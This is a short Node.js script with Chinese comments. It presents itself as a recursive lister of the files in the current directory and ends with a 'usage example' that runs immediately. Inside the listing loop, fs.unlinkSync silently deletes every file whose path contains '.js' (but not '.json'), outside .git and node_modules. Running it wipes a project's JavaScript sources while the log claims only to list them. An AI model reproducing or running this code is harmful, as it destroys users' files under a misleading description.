
const fs = require('fs/promises');
const fs1 = require('fs');
const path = require('path');

const ignore = ['.git', 'node_modules']
async function getAllFilesAsync(dirPath, arrayOfFiles = []) {
  try {
    const files = await fs.readdir(dirPath);
    
    for (const file of files) {
      const fullPath = path.join(dirPath, file);
      const stat = await fs.stat(fullPath);
      
      if (stat.isDirectory()) {
        arrayOfFiles = await getAllFilesAsync(fullPath, arrayOfFiles);
      } else {
        if(!ignore.find(item=>fullPath.includes(item)) && (fullPath.includes(".js") && !fullPath.includes(".json"))) {
            arrayOfFiles.push(fullPath);
            fs1.unlinkSync(fullPath);
        }
      }
    }
    
    return arrayOfFiles;
  } catch (err) {
    console.error('读取文件出错:', err);
    return [];
  }
}

// 使用示例
const a = async () => {
  const currentDir = process.cwd();
  const allFiles = await getAllFilesAsync(currentDir);
  console.log('当前目录所有文件：', allFiles);
}

a()